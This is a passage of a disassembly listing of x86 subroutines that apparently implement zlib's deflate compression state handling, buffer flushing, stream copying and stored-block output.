mov ecx, [ebp-8]
mov [ecx+88h], eax
mov edx, [ebp+0Ch]
imul edx, 0Ch
xor eax, eax
mov ax, word_4F1FE6[edx]
mov ecx, [ebp-8]
mov [ecx+74h], eax
loc_4BEB9B: ; CODE XREF: .text:004BEB36j
mov edx, [ebp-8]
mov eax, [ebp+10h]
mov [edx+80h], eax
mov eax, [ebp-4]
loc_4BEBAA: ; CODE XREF: .text:004BEAB3j
; .text:004BEAEBj
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4BEBAE proc near ; CODE XREF: .text:00490313p
; .text:004BEB22p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
cmp [ebp+arg_0], 0
jz short loc_4BEBCF
mov eax, [ebp+arg_0]
cmp dword ptr [eax+1Ch], 0
jz short loc_4BEBCF
cmp [ebp+arg_4], 4
jg short loc_4BEBCF
cmp [ebp+arg_4], 0
jge short loc_4BEBD9
loc_4BEBCF: ; CODE XREF: sub_4BEBAE+Aj
; sub_4BEBAE+13j ...
mov eax, 0FFFFFFFEh
jmp loc_4BEF2C
; ---------------------------------------------------------------------------
loc_4BEBD9: ; CODE XREF: sub_4BEBAE+1Fj
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov [ebp+var_4], edx
mov eax, [ebp+arg_0]
cmp dword ptr [eax+0Ch], 0
jz short loc_4BEC0E
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx], 0
jnz short loc_4BEBFC
mov edx, [ebp+arg_0]
cmp dword ptr [edx+4], 0
jnz short loc_4BEC0E
loc_4BEBFC: ; CODE XREF: sub_4BEBAE+43j
mov eax, [ebp+var_4]
cmp dword ptr [eax+4], 29Ah
jnz short loc_4BEC24
cmp [ebp+arg_4], 4
jz short loc_4BEC24
loc_4BEC0E: ; CODE XREF: sub_4BEBAE+3Bj
; sub_4BEBAE+4Cj
mov ecx, [ebp+arg_0]
mov edx, off_4EDE78
mov [ecx+18h], edx
mov eax, 0FFFFFFFEh
jmp loc_4BEF2C
; ---------------------------------------------------------------------------
loc_4BEC24: ; CODE XREF: sub_4BEBAE+58j
; sub_4BEBAE+5Ej
mov eax, [ebp+arg_0]
cmp dword ptr [eax+10h], 0
jnz short loc_4BEC43
mov ecx, [ebp+arg_0]
mov edx, off_4EDE84
mov [ecx+18h], edx
mov eax, 0FFFFFFFBh
jmp loc_4BEF2C
; ---------------------------------------------------------------------------
loc_4BEC43: ; CODE XREF: sub_4BEBAE+7Dj
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
mov [eax], ecx
mov edx, [ebp+var_4]
mov eax, [edx+20h]
mov [ebp+var_8], eax
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_4]
mov [ecx+20h], edx
mov eax, [ebp+var_4]
cmp dword ptr [eax+4], 2Ah
jnz loc_4BED31
mov ecx, [ebp+var_4]
mov edx, [ecx+28h]
sub edx, 8
shl edx, 4
add edx, 8
shl edx, 8
mov [ebp+var_C], edx
mov eax, [ebp+var_4]
mov ecx, [eax+7Ch]
sub ecx, 1
sar ecx, 1
mov [ebp+var_10], ecx
cmp [ebp+var_10], 3
jbe short loc_4BEC9A
mov [ebp+var_10], 3
loc_4BEC9A: ; CODE XREF: sub_4BEBAE+E3j
mov edx, [ebp+var_10]
shl edx, 6
mov eax, [ebp+var_C]
or eax, edx
mov [ebp+var_C], eax
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+64h], 0
jz short loc_4BECBA
mov edx, [ebp+var_C]
or edx, 20h
mov [ebp+var_C], edx
loc_4BECBA: ; CODE XREF: sub_4BEBAE+101j
mov eax, [ebp+var_C]
xor edx, edx
mov ecx, 1Fh
div ecx
mov eax, 1Fh
sub eax, edx
mov ecx, [ebp+var_C]
add ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+var_4]
mov dword ptr [edx+4], 71h
mov eax, [ebp+var_C]
push eax
mov ecx, [ebp+var_4]
push ecx
call sub_4BEF30
add esp, 8
mov edx, [ebp+var_4]
cmp dword ptr [edx+64h], 0
jz short loc_4BED27
mov eax, [ebp+arg_0]
mov ecx, [eax+30h]
shr ecx, 10h
push ecx
mov edx, [ebp+var_4]
push edx
call sub_4BEF30
add esp, 8
mov eax, [ebp+arg_0]
mov ecx, [eax+30h]
and ecx, 0FFFFh
push ecx
mov edx, [ebp+var_4]
push edx
call sub_4BEF30
add esp, 8
loc_4BED27: ; CODE XREF: sub_4BEBAE+148j
mov eax, [ebp+arg_0]
mov dword ptr [eax+30h], 1
loc_4BED31: ; CODE XREF: sub_4BEBAE+B6j
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+14h], 0
jz short loc_4BED62
mov edx, [ebp+arg_0]
push edx
call sub_4BEF80
add esp, 4
mov eax, [ebp+arg_0]
cmp dword ptr [eax+10h], 0
jnz short loc_4BED60
mov ecx, [ebp+var_4]
mov dword ptr [ecx+20h], 0FFFFFFFFh
xor eax, eax
jmp loc_4BEF2C
; ---------------------------------------------------------------------------
loc_4BED60: ; CODE XREF: sub_4BEBAE+19Fj
jmp short loc_4BED8F
; ---------------------------------------------------------------------------
loc_4BED62: ; CODE XREF: sub_4BEBAE+18Aj
mov edx, [ebp+arg_0]
cmp dword ptr [edx+4], 0
jnz short loc_4BED8F
mov eax, [ebp+arg_4]
cmp eax, [ebp+var_8]
jg short loc_4BED8F
cmp [ebp+arg_4], 4
jz short loc_4BED8F
mov ecx, [ebp+arg_0]
mov edx, off_4EDE84
mov [ecx+18h], edx
mov eax, 0FFFFFFFBh
jmp loc_4BEF2C
; ---------------------------------------------------------------------------
loc_4BED8F: ; CODE XREF: sub_4BEBAE:loc_4BED60j
; sub_4BEBAE+1BBj ...
mov eax, [ebp+var_4]
cmp dword ptr [eax+4], 29Ah
jnz short loc_4BEDB9
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+4], 0
jz short loc_4BEDB9
mov edx, [ebp+arg_0]
mov eax, off_4EDE84
mov [edx+18h], eax
mov eax, 0FFFFFFFBh
jmp loc_4BEF2C
; ---------------------------------------------------------------------------
loc_4BEDB9: ; CODE XREF: sub_4BEBAE+1EBj
; sub_4BEBAE+1F4j
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+4], 0
jnz short loc_4BEDE5
mov edx, [ebp+var_4]
cmp dword ptr [edx+6Ch], 0
jnz short loc_4BEDE5
cmp [ebp+arg_4], 0
jz loc_4BEEC2
mov eax, [ebp+var_4]
cmp dword ptr [eax+4], 29Ah
jz loc_4BEEC2
loc_4BEDE5: ; CODE XREF: sub_4BEBAE+212j
; sub_4BEBAE+21Bj
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+var_4]
push edx
mov eax, [ebp+var_4]
mov ecx, [eax+7Ch]
imul ecx, 0Ch
call off_4F1FE8[ecx]
add esp, 8
mov [ebp+var_14], eax
cmp [ebp+var_14], 2
jz short loc_4BEE0E
cmp [ebp+var_14], 3
jnz short loc_4BEE18
loc_4BEE0E: ; CODE XREF: sub_4BEBAE+258j
mov edx, [ebp+var_4]
mov dword ptr [edx+4], 29Ah
loc_4BEE18: ; CODE XREF: sub_4BEBAE+25Ej
cmp [ebp+var_14], 0
jz short loc_4BEE24
cmp [ebp+var_14], 2
jnz short loc_4BEE3E
loc_4BEE24: ; CODE XREF: sub_4BEBAE+26Ej
mov eax, [ebp+arg_0]
cmp dword ptr [eax+10h], 0
jnz short loc_4BEE37
mov ecx, [ebp+var_4]
mov dword ptr [ecx+20h], 0FFFFFFFFh
loc_4BEE37: ; CODE XREF: sub_4BEBAE+27Dj
xor eax, eax
jmp loc_4BEF2C
; ---------------------------------------------------------------------------
loc_4BEE3E: ; CODE XREF: sub_4BEBAE+274j
cmp [ebp+var_14], 1
jnz short loc_4BEEC2
cmp [ebp+arg_4], 1
jnz short loc_4BEE58
mov edx, [ebp+var_4]
push edx
call sub_4C1C03
add esp, 4
jmp short loc_4BEE9F
; ---------------------------------------------------------------------------
loc_4BEE58: ; CODE XREF: sub_4BEBAE+29Aj
push 0
push 0
push 0
mov eax, [ebp+var_4]
push eax
call sub_4C1AC4
add esp, 10h
cmp [ebp+arg_4], 3
jnz short loc_4BEE9F
mov ecx, [ebp+var_4]
mov edx, [ecx+44h]
mov eax, [ebp+var_4]
mov ecx, [eax+3Ch]
mov word ptr [ecx+edx*2-2], 0
mov edx, [ebp+var_4]
mov eax, [edx+44h]
lea ecx, [eax+eax-2]
push ecx ; Size
push 0 ; Val
mov edx, [ebp+var_4]
mov eax, [edx+3Ch]
push eax ; Dst
call _memset_0
add esp, 0Ch
loc_4BEE9F: ; CODE XREF: sub_4BEBAE+2A8j
; sub_4BEBAE+2C0j
mov ecx, [ebp+arg_0]
push ecx
call sub_4BEF80
add esp, 4
mov edx, [ebp+arg_0]
cmp dword ptr [edx+10h], 0
jnz short loc_4BEEC2
mov eax, [ebp+var_4]
mov dword ptr [eax+20h], 0FFFFFFFFh
xor eax, eax
jmp short loc_4BEF2C
; ---------------------------------------------------------------------------
loc_4BEEC2: ; CODE XREF: sub_4BEBAE+221j
; sub_4BEBAE+231j ...
cmp [ebp+arg_4], 4
jz short loc_4BEECC
xor eax, eax
jmp short loc_4BEF2C
; ---------------------------------------------------------------------------
loc_4BEECC: ; CODE XREF: sub_4BEBAE+318j
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+18h], 0
jz short loc_4BEEDC
mov eax, 1
jmp short loc_4BEF2C
; ---------------------------------------------------------------------------
loc_4BEEDC: ; CODE XREF: sub_4BEBAE+325j
mov edx, [ebp+arg_0]
mov eax, [edx+30h]
shr eax, 10h
push eax
mov ecx, [ebp+var_4]
push ecx
call sub_4BEF30
add esp, 8
mov edx, [ebp+arg_0]
mov eax, [edx+30h]
and eax, 0FFFFh
push eax
mov ecx, [ebp+var_4]
push ecx
call sub_4BEF30
add esp, 8
mov edx, [ebp+arg_0]
push edx
call sub_4BEF80
add esp, 4
mov eax, [ebp+var_4]
mov dword ptr [eax+18h], 0FFFFFFFFh
mov ecx, [ebp+var_4]
xor eax, eax
cmp dword ptr [ecx+14h], 0
setz al
loc_4BEF2C: ; CODE XREF: sub_4BEBAE+26j
; sub_4BEBAE+71j ...
mov esp, ebp
pop ebp
retn
sub_4BEBAE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4BEF30 proc near ; CODE XREF: sub_4BEBAE+139p
; sub_4BEBAE+158p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
shr eax, 8
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
mov ecx, [ebp+arg_0]
mov ecx, [ecx+14h]
mov [edx+ecx], al
mov edx, [ebp+arg_0]
mov eax, [edx+14h]
add eax, 1
mov ecx, [ebp+arg_0]
mov [ecx+14h], eax
mov edx, [ebp+arg_4]
and edx, 0FFh
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
mov eax, [ebp+arg_0]
mov eax, [eax+14h]
mov [ecx+eax], dl
mov ecx, [ebp+arg_0]
mov edx, [ecx+14h]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+14h], edx
pop ebp
retn
sub_4BEF30 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4BEF80 proc near ; CODE XREF: sub_4BEBAE+190p
; sub_4BEBAE+2F5p ...
Size = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov edx, [ecx+14h]
mov [ebp+Size], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+Size]
cmp ecx, [eax+10h]
jbe short loc_4BEFA4
mov edx, [ebp+arg_0]
mov eax, [edx+10h]
mov [ebp+Size], eax
loc_4BEFA4: ; CODE XREF: sub_4BEF80+19j
cmp [ebp+Size], 0
jnz short loc_4BEFAF
jmp loc_4BF041
; ---------------------------------------------------------------------------
loc_4BEFAF: ; CODE XREF: sub_4BEF80+28j
mov ecx, [ebp+Size]
push ecx ; Size
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov ecx, [eax+10h]
push ecx ; Src
mov edx, [ebp+arg_0]
mov eax, [edx+0Ch]
push eax ; Dst
call _memcpy_1
add esp, 0Ch
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
add edx, [ebp+Size]
mov eax, [ebp+arg_0]
mov [eax+0Ch], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov eax, [edx+10h]
add eax, [ebp+Size]
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov [edx+10h], eax
mov eax, [ebp+arg_0]
mov ecx, [eax+14h]
add ecx, [ebp+Size]
mov edx, [ebp+arg_0]
mov [edx+14h], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax+10h]
sub ecx, [ebp+Size]
mov edx, [ebp+arg_0]
mov [edx+10h], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov edx, [ecx+14h]
sub edx, [ebp+Size]
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov [ecx+14h], edx
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
cmp dword ptr [eax+14h], 0
jnz short loc_4BF041
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov edx, [edx+8]
mov [ecx+10h], edx
loc_4BF041: ; CODE XREF: sub_4BEF80+2Aj
; sub_4BEF80+ADj
mov esp, ebp
pop ebp
retn
sub_4BEF80 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4BF045 proc near ; CODE XREF: .text:0049033Fp
; sub_4BE535+278p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0
jz short loc_4BF058
mov eax, [ebp+arg_0]
cmp dword ptr [eax+1Ch], 0
jnz short loc_4BF062
loc_4BF058: ; CODE XREF: sub_4BF045+8j
mov eax, 0FFFFFFFEh
jmp loc_4BF152
; ---------------------------------------------------------------------------
loc_4BF062: ; CODE XREF: sub_4BF045+11j
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov eax, [edx+4]
mov [ebp+var_4], eax
cmp [ebp+var_4], 2Ah
jz short loc_4BF08D
cmp [ebp+var_4], 71h
jz short loc_4BF08D
cmp [ebp+var_4], 29Ah
jz short loc_4BF08D
mov eax, 0FFFFFFFEh
jmp loc_4BF152
; ---------------------------------------------------------------------------
loc_4BF08D: ; CODE XREF: sub_4BF045+2Dj
; sub_4BF045+33j ...
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
cmp dword ptr [edx+8], 0
jz short loc_4BF0B3
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov edx, [ecx+8]
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+28h]
push ecx
mov edx, [ebp+arg_0]
call dword ptr [edx+24h]
add esp, 8
loc_4BF0B3: ; CODE XREF: sub_4BF045+52j
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
cmp dword ptr [ecx+3Ch], 0
jz short loc_4BF0D9
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov ecx, [eax+3Ch]
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx+28h]
push eax
mov ecx, [ebp+arg_0]
call dword ptr [ecx+24h]
add esp, 8
loc_4BF0D9: ; CODE XREF: sub_4BF045+78j
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
cmp dword ptr [eax+38h], 0
jz short loc_4BF0FF
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov eax, [edx+38h]
push eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+28h]
push edx
mov eax, [ebp+arg_0]
call dword ptr [eax+24h]
add esp, 8
loc_4BF0FF: ; CODE XREF: sub_4BF045+9Ej
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
cmp dword ptr [edx+30h], 0
jz short loc_4BF125
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov edx, [ecx+30h]
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+28h]
push ecx
mov edx, [ebp+arg_0]
call dword ptr [edx+24h]
add esp, 8
loc_4BF125: ; CODE XREF: sub_4BF045+C4j
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx+28h]
push eax
mov ecx, [ebp+arg_0]
call dword ptr [ecx+24h]
add esp, 8
mov edx, [ebp+arg_0]
mov dword ptr [edx+1Ch], 0
xor eax, eax
cmp [ebp+var_4], 71h
setnz al
dec eax
and al, 0FDh
loc_4BF152: ; CODE XREF: sub_4BF045+18j
; sub_4BF045+43j
mov esp, ebp
pop ebp
retn
sub_4BF045 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
cmp dword ptr [ebp+0Ch], 0
jz short loc_4BF173
cmp dword ptr [ebp+8], 0
jz short loc_4BF173
mov eax, [ebp+0Ch]
cmp dword ptr [eax+1Ch], 0
jnz short loc_4BF17D
loc_4BF173: ; CODE XREF: .text:004BF162j
; .text:004BF168j
mov eax, 0FFFFFFFEh
jmp loc_4BF39C
; ---------------------------------------------------------------------------
loc_4BF17D: ; CODE XREF: .text:004BF171j
mov ecx, [ebp+0Ch]
mov edx, [ecx+1Ch]
mov [ebp-8], edx
mov esi, [ebp+0Ch]
mov ecx, 0Eh
mov edi, [ebp+8]
rep movsd
push 16B8h
push 1
mov eax, [ebp+8]
mov ecx, [eax+28h]
push ecx
mov edx, [ebp+8]
call dword ptr [edx+20h]
add esp, 0Ch
mov [ebp-0Ch], eax
cmp dword ptr [ebp-0Ch], 0
jnz short loc_4BF1BD
mov eax, 0FFFFFFFCh
jmp loc_4BF39C
; ---------------------------------------------------------------------------
loc_4BF1BD: ; CODE XREF: .text:004BF1B1j
mov eax, [ebp+8]
mov ecx, [ebp-0Ch]
mov [eax+1Ch], ecx
mov edi, [ebp-0Ch]
mov esi, [ebp-8]
mov ecx, 5AEh
rep movsd
mov edx, [ebp-0Ch]
mov eax, [ebp+8]
mov [edx], eax
push 2
mov ecx, [ebp-0Ch]
mov edx, [ecx+24h]
push edx
mov eax, [ebp+8]
mov ecx, [eax+28h]
push ecx
mov edx, [ebp+8]
call dword ptr [edx+20h]
add esp, 0Ch
mov ecx, [ebp-0Ch]
mov [ecx+30h], eax
push 2
mov edx, [ebp-0Ch]
mov eax, [edx+24h]
push eax
mov ecx, [ebp+8]
mov edx, [ecx+28h]
push edx
mov eax, [ebp+8]
call dword ptr [eax+20h]
add esp, 0Ch
mov ecx, [ebp-0Ch]
mov [ecx+38h], eax
push 2
mov edx, [ebp-0Ch]
mov eax, [edx+44h]
push eax
mov ecx, [ebp+8]
mov edx, [ecx+28h]
push edx
mov eax, [ebp+8]
call dword ptr [eax+20h]
add esp, 0Ch
mov ecx, [ebp-0Ch]
mov [ecx+3Ch], eax
push 4
mov edx, [ebp-0Ch]
mov eax, [edx+1694h]
push eax
mov ecx, [ebp+8]
mov edx, [ecx+28h]
push edx
mov eax, [ebp+8]
call dword ptr [eax+20h]
add esp, 0Ch
mov [ebp-4], eax
mov ecx, [ebp-0Ch]
mov edx, [ebp-4]
mov [ecx+8], edx
mov eax, [ebp-0Ch]
cmp dword ptr [eax+30h], 0
jz short loc_4BF284
mov ecx, [ebp-0Ch]
cmp dword ptr [ecx+38h], 0
jz short loc_4BF284
mov edx, [ebp-0Ch]
cmp dword ptr [edx+3Ch], 0
jz short loc_4BF284
mov eax, [ebp-0Ch]
cmp dword ptr [eax+8], 0
jnz short loc_4BF29A
loc_4BF284: ; CODE XREF: .text:004BF267j
; .text:004BF270j ...
mov ecx, [ebp+8]
push ecx
call sub_4BF045
add esp, 4
mov eax, 0FFFFFFFCh
jmp loc_4BF39C
; ---------------------------------------------------------------------------
loc_4BF29A: ; CODE XREF: .text:004BF282j
mov edx, [ebp-0Ch]
mov eax, [edx+24h]
shl eax, 1
push eax
mov ecx, [ebp-8]
mov edx, [ecx+30h]
push edx
mov eax, [ebp-0Ch]
mov ecx, [eax+30h]
push ecx
call _memcpy_1
add esp, 0Ch
mov edx, [ebp-0Ch]
mov eax, [edx+24h]
shl eax, 1
push eax
mov ecx, [ebp-8]
mov edx, [ecx+38h]
push edx
mov eax, [ebp-0Ch]
mov ecx, [eax+38h]
push ecx
call _memcpy_1
add esp, 0Ch
mov edx, [ebp-0Ch]
mov eax, [edx+44h]
shl eax, 1
push eax
mov ecx, [ebp-8]
mov edx, [ecx+3Ch]
push edx
mov eax, [ebp-0Ch]
mov ecx, [eax+3Ch]
push ecx
call _memcpy_1
add esp, 0Ch
mov edx, [ebp-0Ch]
mov eax, [edx+0Ch]
push eax
mov ecx, [ebp-8]
mov edx, [ecx+8]
push edx
mov eax, [ebp-0Ch]
mov ecx, [eax+8]
push ecx
call _memcpy_1
add esp, 0Ch
mov edx, [ebp-8]
mov eax, [ebp-8]
mov ecx, [edx+10h]
sub ecx, [eax+8]
mov edx, [ebp-0Ch]
mov eax, [edx+8]
add eax, ecx
mov ecx, [ebp-0Ch]
mov [ecx+10h], eax
mov edx, [ebp-0Ch]
mov eax, [edx+1694h]
shr eax, 1
mov ecx, [ebp-4]
lea edx, [ecx+eax*2]
mov eax, [ebp-0Ch]
mov [eax+169Ch], edx
mov ecx, [ebp-0Ch]
mov edx, [ecx+1694h]
imul edx, 3
mov eax, [ebp-0Ch]
mov ecx, [eax+8]
add ecx, edx
mov edx, [ebp-0Ch]
mov [edx+1690h], ecx
mov eax, [ebp-0Ch]
add eax, 8Ch
mov ecx, [ebp-0Ch]
mov [ecx+0B10h], eax
mov edx, [ebp-0Ch]
add edx, 980h
mov eax, [ebp-0Ch]
mov [eax+0B1Ch], edx
mov ecx, [ebp-0Ch]
add ecx, 0A74h
mov edx, [ebp-0Ch]
mov [edx+0B28h], ecx
xor eax, eax
loc_4BF39C: ; CODE XREF: .text:004BF178j
; .text:004BF1B8j ...
pop edi
pop esi
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4BF3A2 proc near ; CODE XREF: sub_4BE9C1+C3p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov ecx, [eax+24h]
shl ecx, 1
mov edx, [ebp+arg_0]
mov [edx+34h], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax+44h]
mov edx, [ebp+arg_0]
mov eax, [edx+3Ch]
mov word ptr [eax+ecx*2-2], 0
mov ecx, [ebp+arg_0]
mov edx, [ecx+44h]
lea eax, [edx+edx-2]
push eax ; Size
push 0 ; Val
mov ecx, [ebp+arg_0]
mov edx, [ecx+3Ch]
push edx ; Dst
call _memset_0
add esp, 0Ch
mov eax, [ebp+arg_0]
mov ecx, [eax+7Ch]
imul ecx, 0Ch
xor edx, edx
mov dx, word_4F1FE2[ecx]
mov eax, [ebp+arg_0]
mov [eax+78h], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+7Ch]
imul edx, 0Ch
xor eax, eax
mov ax, word_4F1FE0[edx]
mov ecx, [ebp+arg_0]
mov [ecx+84h], eax
mov edx, [ebp+arg_0]
mov eax, [edx+7Ch]
imul eax, 0Ch
xor ecx, ecx
mov cx, word_4F1FE4[eax]
mov edx, [ebp+arg_0]
mov [edx+88h], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax+7Ch]
imul ecx, 0Ch
xor edx, edx
mov dx, word_4F1FE6[ecx]
mov eax, [ebp+arg_0]
mov [eax+74h], edx
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+64h], 0
mov edx, [ebp+arg_0]
mov dword ptr [edx+54h], 0
mov eax, [ebp+arg_0]
mov dword ptr [eax+6Ch], 0
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+70h], 2
mov edx, [ebp+arg_0]
mov dword ptr [edx+58h], 2
mov eax, [ebp+arg_0]
mov dword ptr [eax+60h], 0
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+40h], 0
pop ebp
retn
sub_4BF3A2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4BF490 proc near ; CODE XREF: sub_4BEBAE+248p
; DATA XREF: .data:off_4F1FE8o
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
mov [ebp+var_4], 0FFFFh
mov eax, [ebp+arg_0]
mov ecx, [eax+0Ch]
sub ecx, 5
cmp [ebp+var_4], ecx
jbe short loc_4BF4B7
mov edx, [ebp+arg_0]
mov eax, [edx+0Ch]
sub eax, 5
mov [ebp+var_4], eax
loc_4BF4B7: ; CODE XREF: sub_4BF490+19j
; sub_4BF490:loc_4BF63Cj
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+6Ch], 1
ja short loc_4BF4F0
mov edx, [ebp+arg_0]
push edx
call sub_4BF6D0
add esp, 4
mov eax, [ebp+arg_0]
cmp dword ptr [eax+6Ch], 0
jnz short loc_4BF4E2
cmp [ebp+arg_4], 0
jnz short loc_4BF4E2
xor eax, eax
jmp loc_4BF6CC
; ---------------------------------------------------------------------------
loc_4BF4E2: ; CODE XREF: sub_4BF490+43j
; sub_4BF490+49j
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+6Ch], 0
jnz short loc_4BF4F0
jmp loc_4BF641
; ---------------------------------------------------------------------------
loc_4BF4F0: ; CODE XREF: sub_4BF490+2Ej
; sub_4BF490+59j
mov edx, [ebp+arg_0]
mov eax, [edx+64h]
mov ecx, [ebp+arg_0]
add eax, [ecx+6Ch]
mov edx, [ebp+arg_0]
mov [edx+64h], eax
mov eax, [ebp+arg_0]
mov dword ptr [eax+6Ch], 0
mov ecx, [ebp+arg_0]
mov edx, [ecx+54h]
add edx, [ebp+var_4]
mov [ebp+var_8], edx
mov eax, [ebp+arg_0]
cmp dword ptr [eax+64h], 0
jz short loc_4BF530
mov ecx, [ebp+arg_0]
mov edx, [ecx+64h]
cmp edx, [ebp+var_8]
jb loc_4BF5B4
loc_4BF530: ; CODE XREF: sub_4BF490+8Fj
mov eax, [ebp+arg_0]
mov ecx, [eax+64h]
sub ecx, [ebp+var_8]
mov edx, [ebp+arg_0]
mov [edx+6Ch], ecx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
mov [eax+64h], ecx
mov edx, [ebp+arg_0]
cmp dword ptr [edx+54h], 0
jl short loc_4BF562
mov eax, [ebp+arg_0]
mov ecx, [eax+30h]
mov edx, [ebp+arg_0]
add ecx, [edx+54h]
mov [ebp+var_C], ecx
jmp short loc_4BF569
; ---------------------------------------------------------------------------
loc_4BF562: ; CODE XREF: sub_4BF490+BFj
mov [ebp+var_C], 0
loc_4BF569: ; CODE XREF: sub_4BF490+D0j
push 0
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_0]
mov edx, [eax+64h]
sub edx, [ecx+54h]
push edx
mov eax, [ebp+var_C]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_4C20F2
add esp, 10h
mov edx, [ebp+arg_0]
mov eax, [ebp+arg_0]
mov ecx, [eax+64h]
mov [edx+54h], ecx
mov edx, [ebp+arg_0]
mov eax, [edx]
push eax
call sub_4BEF80
add esp, 4
mov ecx, [ebp+arg_0]
mov edx, [ecx]
cmp dword ptr [edx+10h], 0
jnz short loc_4BF5B4
xor eax, eax
jmp loc_4BF6CC
; ---------------------------------------------------------------------------
loc_4BF5B4: ; CODE XREF: sub_4BF490+9Aj
; sub_4BF490+11Bj
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_0]
mov edx, [eax+64h]
sub edx, [ecx+54h]
mov eax, [ebp+arg_0]
mov ecx, [eax+24h]
sub ecx, 106h
cmp edx, ecx
jb short loc_4BF63C
mov edx, [ebp+arg_0]
cmp dword ptr [edx+54h], 0
jl short loc_4BF5EA
mov eax, [ebp+arg_0]
mov ecx, [eax+30h]
mov edx, [ebp+arg_0]
add ecx, [edx+54h]
mov [ebp+var_10], ecx
jmp short loc_4BF5F1
; ---------------------------------------------------------------------------
loc_4BF5EA: ; CODE XREF: sub_4BF490+147j
mov [ebp+var_10], 0
loc_4BF5F1: ; CODE XREF: sub_4BF490+158j
push 0
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_0]
mov edx, [eax+64h]
sub edx, [ecx+54h]
push edx
mov eax, [ebp+var_10]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_4C20F2
add esp, 10h
mov edx, [ebp+arg_0]
mov eax, [ebp+arg_0]
mov ecx, [eax+64h]
mov [edx+54h], ecx
mov edx, [ebp+arg_0]
mov eax, [edx]
push eax
call sub_4BEF80
add esp, 4
mov ecx, [ebp+arg_0]
mov edx, [ecx]
cmp dword ptr [edx+10h], 0
jnz short loc_4BF63C
xor eax, eax
jmp loc_4BF6CC
; ---------------------------------------------------------------------------
loc_4BF63C: ; CODE XREF: sub_4BF490+13Ej
; sub_4BF490+1A3j
jmp loc_4BF4B7
; ---------------------------------------------------------------------------
loc_4BF641: ; CODE XREF: sub_4BF490+5Bj
mov eax, [ebp+arg_0]
cmp dword ptr [eax+54h], 0
jl short loc_4BF65B
mov ecx, [ebp+arg_0]
mov edx, [ecx+30h]
mov eax, [ebp+arg_0]
add edx, [eax+54h]
